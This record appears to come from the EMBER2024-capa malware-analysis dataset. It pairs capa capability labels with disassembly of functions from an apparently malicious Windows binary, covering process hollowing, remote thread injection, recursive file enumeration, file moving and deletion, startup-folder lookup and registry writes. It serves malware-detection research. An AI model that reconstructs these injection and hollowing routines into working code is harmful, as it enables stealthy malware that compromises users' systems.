joyce8/EMBER2024-capa huggingface dataset:
Function at 0x409efb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x41929c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00408351
and dword [ebp - 0x14], 0
cmp dword [0x41b0c8], 0
mov dword [ebp - 0x18], eax
jne 0x409fae
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x40a056
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x40a056
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41b0c8], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x41b0cc], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x41b0d0], eax
call edi
push eax
call esi
mov dword [0x41b0d8], eax
test eax, eax
je 0x409fae
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x41b0d4], eax
mov eax, dword [0x41b0d4]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x40a007
cmp dword [0x41b0d8], ecx
je 0x40a007
push eax
call esi
push dword [0x41b0d8]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x40a007
test ebx, ebx
je 0x40a007
call edi
test eax, eax
je 0x409ffe
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x409ffe
test byte [ebp - 8], 1
jne 0x40a007
or dword [ebp + 0x10], 0x200000
jmp 0x40a03a
mov eax, dword [0x41b0cc]
cmp eax, dword [ebp - 0x18]
je 0x40a03a
push eax
call esi
test eax, eax
je 0x40a03a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40a03a
mov eax, dword [0x41b0d0]
cmp eax, dword [ebp - 0x18]
je 0x40a03a
push eax
call esi
test eax, eax
je 0x40a03a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41b0c8]
call esi
test eax, eax
je 0x40a056
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x40a058
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00403e1d
leave
ret
Function at 0x4038f0
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x258
push 0x401428
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x258]
push ecx
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x114], eax
movsx eax, byte [ebp - 0x22c]
cmp eax, 0x2e
je 0x40399d
mov ecx, dword [ebp - 0x258]
and ecx, 0x10
je 0x40399d
push 0x5c
push 0
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 4], eax
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call fcn.00404d60
add esp, 0xc
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp + 8]
add ecx, 2
push ecx
mov edx, dword [ebp + 8]
push edx
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea ecx, [ebp - 0x22c]
push ecx
lea edx, [ebp - 0x110]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [ebp - 0x110]
push eax
call fcn.004038f0
add esp, 4
jmp 0x403a15
movsx ecx, byte [ebp - 0x22c]
cmp ecx, 0x2e
je 0x403a15
push 0x40142c
lea edx, [ebp - 0x22c]
push edx
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x403a15
lea eax, [ebp - 0x22c]
push eax
mov ecx, dword [0x411d70]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x411d74]
mov eax, dword [0x411d70]
mov dword [edx*4 + 0x411d78], eax
lea ecx, [ebp - 0x22c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov edx, dword [0x411d70]
lea eax, [edx + eax + 1]
mov dword [0x411d70], eax
mov ecx, dword [0x411d74]
add ecx, 1
mov dword [0x411d74], ecx
lea edx, [ebp - 0x258]
push edx
mov eax, dword [ebp - 0x114]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x40391f
mov ecx, dword [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x403a50
Capabilities:
Enumerate files on windows
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x368
mov dword [ebp - 0x364], 0
call fcn.0040ac60
cmp eax, 1
jne 0x403a79
mov dword [ebp - 0x21c], 0x2a
jmp 0x403a83
mov dword [ebp - 0x21c], 0x26
push 0x104
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00404d60
add esp, 0xc
lea ecx, [ebp - 0x108]
push ecx
push 0
push 0
mov edx, dword [ebp - 0x21c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
push 0x401434
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov dword [ebp - 0x368], 0
mov ecx, dword [ebp - 0x368]
cmp dword [ecx*4 + 0x4101a8], 0
je 0x403c25
push 0x140
push 0
lea edx, [ebp - 0x360]
push edx
call fcn.00404d60
add esp, 0xc
lea eax, [ebp - 0x360]
push eax
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x220], eax
movsx edx, byte [ebp - 0x334]
cmp edx, 0x2e
je 0x403be8
mov eax, dword [ebp - 0x360]
and eax, 0x10
je 0x403be8
push 8
lea ecx, [ebp - 0x334]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea edx, [ebp - 0x334]
push edx
mov eax, dword [ebp - 0x368]
mov ecx, dword [eax*4 + 0x4101a8]
push ecx
call fcn.0040a580
add esp, 0x10
cmp eax, 1
jne 0x403be8
push 0x5c
push 0
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrA]
mov dword [ebp - 0x10c], eax
push 0x104
push 0
lea eax, [ebp - 0x218]
push eax
call fcn.00404d60
add esp, 0xc
mov ecx, dword [ebp - 0x10c]
lea edx, [ebp - 0x108]
sub ecx, edx
add ecx, 2
push ecx
lea eax, [ebp - 0x108]
push eax
lea ecx, [ebp - 0x218]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpynA]
lea edx, [ebp - 0x334]
push edx
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea ecx, [ebp - 0x218]
push ecx
call fcn.004038f0
add esp, 4
mov dword [ebp - 0x364], 1
lea edx, [ebp - 0x360]
push edx
mov eax, dword [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x403b13
mov ecx, dword [ebp - 0x220]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov edx, dword [ebp - 0x368]
add edx, 1
mov dword [ebp - 0x368], edx
jmp 0x403acf
mov eax, dword [ebp - 0x364]
mov esp, ebp
pop ebp
ret
Function at 0x404db0
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push edi
movsx eax, byte [0x413314]
test eax, eax
je 0x404dcd
mov eax, 0x413314
jmp 0x404e51
push 0
push 0
push 0
push 0
lea ecx, [ebp - 4]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, 0x12
mov esi, 0x401840
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
mov edx, dword [ebp - 4]
push edx
call fcn.00403f70
add esp, 4
mov dword [ebp - 0x5c], 0
jmp 0x404e13
mov eax, dword [ebp - 0x5c]
add eax, 1
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 5
jae 0x404e36
call fcn.00404000
xor edx, edx
mov ecx, 0x48
div ecx
mov eax, dword [ebp - 0x5c]
mov cl, byte [ebp + edx - 0x58]
mov byte [eax + 0x413314], cl
jmp 0x404e0a
mov byte [0x413319], 0
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.00403f70
add esp, 4
mov eax, 0x413314
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x404fc0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push 0x128
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00404d60
add esp, 0xc
mov dword [ebp - 0x128], 0x128
push 0
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 0x12c], eax
lea ecx, [ebp - 0x128]
push ecx
mov edx, dword [ebp - 0x12c]
push edx
call sub.KERNEL32.dll_Process32First
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40502f
mov edx, dword [ebp - 0x120]
push edx
call fcn.0040a490
add esp, 4
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x104]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x405053
mov edx, dword [ebp - 0x120]
push edx
call fcn.0040a490
add esp, 4
lea eax, [ebp - 0x128]
push eax
mov ecx, dword [ebp - 0x12c]
push ecx
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x40502f
mov edx, dword [ebp - 0x12c]
push edx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esp, ebp
pop ebp
ret
Function at 0x405460
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Create process on windows
Create process suspended
Enumerate pe sections
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x338
push 0x10
push 0
lea eax, [ebp - 0x2e8]
push eax
call fcn.00404d60
add esp, 0xc
push 0x44
push 0
lea ecx, [ebp - 0x338]
push ecx
call fcn.00404d60
add esp, 0xc
lea edx, [ebp - 0x2e8]
push edx
lea eax, [ebp - 0x338]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x2f0], edx
mov eax, dword [ebp - 0x2f0]
mov ecx, dword [ebp + 0xc]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x2ec], ecx
push 0x4019f4
push 0x401a0c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [0x412304], eax
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0x34]
push eax
mov ecx, dword [ebp - 0x2e8]
push ecx
call dword [0x412304]
push 0x40
push 0x3000
mov edx, dword [ebp - 0x2ec]
mov eax, dword [edx + 0x50]
push eax
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
push 0
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x54]
push edx
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp - 0x2ec]
mov edx, dword [ecx + 0x34]
push edx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 8], 0
jmp 0x405569
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x2ec]
movzx eax, word [edx + 6]
cmp dword [ebp - 8], eax
jae 0x4055c6
mov ecx, dword [ebp - 0x2f0]
mov edx, dword [ecx + 0x3c]
mov eax, dword [ebp - 8]
imul eax, eax, 0x28
add eax, dword [ebp + 0xc]
lea ecx, [eax + edx + 0xf8]
mov dword [ebp - 4], ecx
push 0
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x10]
push eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
add edx, dword [ecx + 0x14]
push edx
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 4]
add ecx, dword [edx + 0xc]
push ecx
mov eax, dword [ebp - 0x2e8]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
jmp 0x405560
mov dword [ebp - 0x2d8], 0x10007
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
push 0
push 4
mov eax, dword [ebp - 0x2ec]
add eax, 0x34
push eax
mov ecx, dword [ebp - 0x234]
add ecx, 8
push ecx
mov edx, dword [ebp - 0x2e8]
push edx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0x2ec]
mov ecx, dword [eax + 0x34]
mov edx, dword [ebp - 0x2ec]
add ecx, dword [edx + 0x28]
mov dword [ebp - 0x228], ecx
lea eax, [ebp - 0x2d8]
push eax
mov ecx, dword [ebp - 0x2e4]
push ecx
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
mov edx, dword [ebp - 0x2e4]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov esp, ebp
pop ebp
ret
Function at 0x405ac0
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
call fcn.00405a90
mov dword [ebp - 0x114], eax
mov eax, dword [ebp - 0x114]
push eax
mov ecx, dword [ebp + 0xc]
push ecx
call fcn.004058b0
add esp, 8
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x405af7
xor eax, eax
jmp 0x405c0c
mov edx, dword [ebp + 8]
sub edx, dword [ebp - 0x114]
add edx, dword [ebp - 4]
mov dword [ebp - 0x110], edx
cmp dword [ebp + 8], 0x407be0
jne 0x405bc4
push 0xff
push 0
lea eax, [ebp - 0x108]
push eax
call fcn.00404d60
add esp, 0xc
push 0xfe
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 4
push 0x1000
push 0x104
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x11c], eax
cmp dword [ebp - 0x11c], 0
je 0x405bc2
lea eax, [ebp - 0x118]
push eax
push 0x104
lea ecx, [ebp - 0x108]
push ecx
mov edx, dword [ebp - 0x11c]
push edx
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x405bc2
push 0
push 0
mov ecx, dword [ebp - 0x11c]
push ecx
mov edx, dword [ebp - 0x110]
push edx
push 0
push 0
mov eax, dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x405bc2
xor eax, eax
jmp 0x405c0c
jmp 0x405bf2
push 0
push 0
push 0
mov ecx, dword [ebp - 0x110]
push ecx
push 0
push 0
mov edx, dword [ebp + 0xc]
push edx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
jne 0x405bf2
xor eax, eax
jmp 0x405c0c
cmp dword [ebp + 0x10], 1
jne 0x405c07
push 0xffffffffffffffff
mov eax, dword [ebp - 0x10c]
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov eax, 1
mov esp, ebp
pop ebp
ret

Function at 0x405c10
Capabilities:
Enumerate files on windows
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x350
mov dword [ebp - 0x34c], 0
mov dword [ebp - 8], 0
lea eax, [ebp - 0x348]
push eax
push 0x401ab4
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x350], eax
cmp dword [ebp - 0x350], 0xffffffff
jne 0x405c50
jmp 0x405cf7
mov ecx, dword [ebp + 8]
cmp ecx, dword [ebp - 0x328]
je 0x405cce
push 0x80
lea edx, [ebp - 0x208]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x31c]
push eax
call fcn.00404fc0
add esp, 4
push 0xff
push 0
lea ecx, [ebp - 0x208]
push ecx
call fcn.00404d60
add esp, 0xc
lea edx, [ebp - 0x31c]
push edx
lea eax, [ebp - 0x208]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x401abc
lea ecx, [ebp - 0x208]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 1
lea edx, [ebp - 0x208]
push edx
lea eax, [ebp - 0x31c]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea ecx, [ebp - 0x348]
push ecx
mov edx, dword [ebp - 0x350]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405c50
mov eax, dword [ebp - 0x350]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret
Function at 0x405d00
Capabilities:
Delete file
Enumerate files on windows
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x144
lea eax, [ebp - 0x140]
push eax
push 0x401ad0
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0xffffffff
jne 0x405d2c
jmp 0x405d70
push 0x80
lea ecx, [ebp - 0x114]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x114]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x140]
push eax
mov ecx, dword [ebp - 0x144]
push ecx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x405d2c
mov edx, dword [ebp - 0x144]
push edx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret

Function at 0x4083e0
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
mov dword [ebp - 0x98], 0x94
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [ebp - 0x94], 6
jb 0x408410
mov eax, 1
jmp 0x408412
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x408580
Capabilities:
Get common file path
Get startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
cmp dword [ebp + 0xc], 0
je 0x4085a1
push 0
push 7
mov eax, dword [ebp + 0x10]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
jmp 0x4085f5
push 0
push 0x24
lea ecx, [ebp - 0x108]
push ecx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov byte [ebp - 0x105], 0
cmp dword [ebp + 8], 0
je 0x4085dc
lea edx, [ebp - 0x108]
push edx
push 0x402510
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
jmp 0x4085f5
lea ecx, [ebp - 0x108]
push ecx
push 0x402550
mov edx, dword [ebp + 0x10]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
mov esp, ebp
pop ebp
ret
Function at 0x408ca0
Capabilities:
Delete file
Get common file path
Move file
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34c
push 0
push 0x24
lea eax, [ebp - 0x108]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov byte [ebp - 0x105], 0
lea ecx, [ebp - 0x108]
push ecx
push 0x402674
lea edx, [ebp - 0x328]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 9
lea eax, [ebp - 0x21c]
push eax
call fcn.0040ade0
add esp, 8
mov byte [ebp - 0x213], 0
lea ecx, [ebp - 0x21c]
push ecx
lea edx, [ebp - 0x108]
push edx
push 0x402680
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x210]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 1
je 0x408dcb
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x408dcb
push 0x1e
push 0
lea ecx, [ebp - 0x34c]
push ecx
call fcn.00404d60
add esp, 0xc
mov dword [ebp - 0x348], 3
mov word [ebp - 0x33c], 0x414
lea edx, [ebp - 0x210]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, 1
mov dword [ebp - 0x32c], eax
mov eax, dword [ebp - 0x32c]
mov byte [ebp + eax - 0x210], 0
lea ecx, [ebp - 0x210]
mov dword [ebp - 0x344], ecx
lea edx, [ebp - 0x34c]
push edx
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
lea eax, [ebp - 0x210]
push eax
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov esp, ebp
pop ebp
ret
Function at 0x408dd0
Capabilities:
Enumerate files on windows
Get common file path
Get hostname
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x698
push 0
push 0x1a
lea eax, [ebp - 0x690]
push eax
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [ebp - 0x10c], 0x104
lea ecx, [ebp - 0x10c]
push ecx
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov dword [ebp - 0x10c], eax
lea edx, [ebp - 0x690]
push edx
push 0x402688
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea ecx, [ebp - 0x468]
push ecx
lea edx, [ebp - 0x218]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x21c], eax
cmp dword [ebp - 0x21c], 0xffffffff
je 0x408fd9
mov eax, dword [ebp - 0x468]
and eax, 0x10
je 0x408fbd
movsx ecx, byte [ebp - 0x43c]
cmp ecx, 0x2e
jne 0x408e93
movsx edx, byte [ebp - 0x43b]
test edx, edx
je 0x408eb6
movsx eax, byte [ebp - 0x43c]
cmp eax, 0x2e
jne 0x408ebb
movsx ecx, byte [ebp - 0x43b]
cmp ecx, 0x2e
jne 0x408ebb
movsx edx, byte [ebp - 0x43a]
test edx, edx
jne 0x408ebb
jmp 0x408fbd
lea eax, [ebp - 0x43c]
push eax
call dword [sym.imp.USER32.dll_CharLowerA]
mov dword [ebp - 0x694], 1
mov dword [ebp - 0x698], 0
jmp 0x408eed
mov ecx, dword [ebp - 0x698]
add ecx, 1
mov dword [ebp - 0x698], ecx
mov edx, dword [ebp - 0x698]
cmp edx, dword [ebp - 0x10c]
jae 0x408f29
mov eax, dword [ebp - 0x698]
movsx ecx, byte [ebp + eax - 0x108]
mov edx, dword [ebp - 0x698]
movsx eax, byte [ebp + edx - 0x43c]
cmp ecx, eax
je 0x408f27
mov dword [ebp - 0x694], 0
jmp 0x408f29
jmp 0x408ede
cmp dword [ebp - 0x694], 0
je 0x408fbd
push 0x13
lea ecx, [ebp - 0x584]
push ecx
call fcn.0040ade0
add esp, 8
mov byte [ebp - 0x571], 0
lea edx, [ebp - 0x584]
push edx
lea eax, [ebp - 0x690]
push eax
push 0x402690
lea ecx, [ebp - 0x570]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x43c]
push edx
lea eax, [ebp - 0x690]
push eax
push 0x402698
lea ecx, [ebp - 0x328]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea edx, [ebp - 0x570]
push edx
lea eax, [ebp - 0x328]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileA]
cmp eax, 1
je 0x408fbd
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
jne 0x408fbd
jmp 0x408f36
lea ecx, [ebp - 0x468]
push ecx
mov edx, dword [ebp - 0x21c]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x408e6d
mov eax, dword [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov esp, ebp
pop ebp
ret

Function at 0x409240
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov dword [ebp - 8], ecx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
mov edx, dword [ecx]
push edx
call dword [sym.imp.SHLWAPI.dll_SHDeleteKeyA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x409269
mov eax, 1
jmp 0x40926b
xor eax, eax
mov esp, ebp
pop ebp
ret 4
Function at 0x409280
Capabilities:
Query or enumerate registry key
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x33c
mov dword [ebp - 0x33c], ecx
mov dword [ebp - 0x118], 0
mov dword [ebp - 0x11c], 0
mov dword [ebp - 8], 0
push 0
push 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0x11c]
push ecx
lea edx, [ebp - 0x118]
push edx
push 0
push 0
push 0
push 0
push 0
push 0
mov eax, dword [ebp - 0x33c]
mov ecx, dword [eax]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x4092f1
xor eax, eax
jmp 0x4093d2
mov dword [ebp - 0x338], 0
mov edx, dword [ebp - 0x11c]
add edx, 1
mov dword [ebp - 0x11c], edx
mov eax, dword [ebp - 8]
add eax, 1
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x338]
cmp ecx, dword [ebp - 0x118]
jae 0x4093cd
mov dword [ebp - 0x330], 0x208
mov dword [ebp - 4], 0x105
lea edx, [ebp - 4]
push edx
lea eax, [ebp - 0x110]
push eax
lea ecx, [ebp - 0x114]
push ecx
push 0
lea edx, [ebp - 0x330]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0x338]
push ecx
mov edx, dword [ebp - 0x33c]
mov eax, dword [edx]
push eax
call dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0
je 0x409381
xor eax, eax
jmp 0x4093d2
cmp dword [ebp - 0x114], 1
jne 0x4093ae
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x110]
push edx
lea eax, [ebp - 0x328]
push eax
mov ecx, dword [ebp - 0x33c]
mov edx, dword [ecx]
push edx
call dword [ebp + 8]
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 0
jne 0x4093b9
jmp 0x4093cd
mov eax, dword [ebp - 0x338]
add eax, 1
mov dword [ebp - 0x338], eax
jmp 0x409313
mov eax, 1
mov esp, ebp
pop ebp
ret 8

Function at 0x409910
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 0x10], 1
mov dword [ebp - 8], 0
lea eax, [ebp - 8]
push eax
lea ecx, [ebp - 0xc]
push ecx
push 0
push 2
push 0
push 0
push 0
push 0x4104d4
mov edx, dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x4099bd
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x410574
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea edx, [ebp - 0x10]
push edx
push 4
push 0
push 0x41058c
mov eax, dword [ebp - 0xc]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x10]
push ecx
push 4
push 0
push 0x4105a4
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea eax, [ebp - 0x10]
push eax
push 4
push 0
push 0x4105c0
mov ecx, dword [ebp - 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov edx, dword [ebp - 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esp, ebp
pop ebp
ret